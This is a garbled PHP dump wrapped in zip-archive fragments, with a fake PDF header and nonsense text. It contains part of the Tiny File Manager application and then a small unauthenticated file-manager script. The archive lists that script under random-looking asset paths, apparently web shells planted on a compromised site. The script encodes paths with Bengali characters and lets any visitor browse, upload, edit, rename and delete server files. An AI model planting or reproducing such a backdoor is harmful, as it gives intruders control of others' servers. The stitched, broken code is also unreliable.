urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    ""

    Full path:
    File size:
    MIME-type:
    Files in archive:
    Total size:
    Size in archive:
    Compression: %
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

               

    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    ' . htmlspecialchars($content) . ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    Full path:

     

    '?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
    ..
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?> '.fm_get_filesize(@disk_free_space($path)) .' '.lng('FreeOf').' '.fm_get_filesize(@disk_total_space($path)).''; ?>
    = $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = $size > 0 ? floor(log($size, 1024)) : 0; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get director total size * @param string $directory * @return int */ function fm_get_directorysize($directory) { global $calc_folder; if ($calc_folder==true) { // Slower output $size = 0; $count= 0; $dirCount= 0; foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file) if ($file->isFile()) { $size+=$file->getSize(); $count++; } else if ($file->isDir()) { $dirCount++; } // return [$size, $count, $dirCount]; return $size; } else return 'Folder'; // Quick output } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'zip': case 'rar': case 'gz': case 'tar': case '7z': case 'xz': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return json */ function scan($dir, $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($dir) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /* Parameters: downloadFile(File Location, File Name, max speed, is streaming If streaming - videos will show as videos, images as images instead of download prompt https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); header("Cache-Control: public"); header("Content-Transfer-Encoding: binary\n"); header('Content-Type: $contentType'); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; $size = filesize($fileLocation); if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } if ($size == 0) { die('Zero byte file! Aborting download'); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); fseek($fp, $range); while (!feof($fp) and (connection_status() == 0)) { set_time_limit(0); print(@fread($fp, 1024*$chunkSize)); flush(); ob_flush(); // sleep(1); } fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PKmg5\M++++2025/2023/kvfs/wfrek/admin.phpnuW+A%PDF-1.7 3 0 obj korsygfhrtggggggzangaiide Elehhjhjjkjkfpffff = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
    Name Size Modified Perms Actions
    " . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
    " . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
    "; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
    Select file to upload:
    '; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
    Rename:
    '; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

    '; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

    ".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

    "; } else { echo "

    Sorry, there was an error uploading your file.

    "; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> PKǫ4\2!nnnatf/lsh/index.phpnuW+APKn 5\uܝ1assets/modules/img/2025/tmp/images/vftw/index.phpnuW+APKn 5\?K$assets/2025/content/js/tpr/index.phpnuW+APK55\d$''3wbdze/wrgyl/index.phpnuW+APK65\V&[archive/v2/v2/build/js/zrxoe/index.phpnuW+APK65\V52sxfhk/index.phpnuW+APKmg5\M++++ 2025/2023/kvfs/wfrek/admin.phpnuW+APK3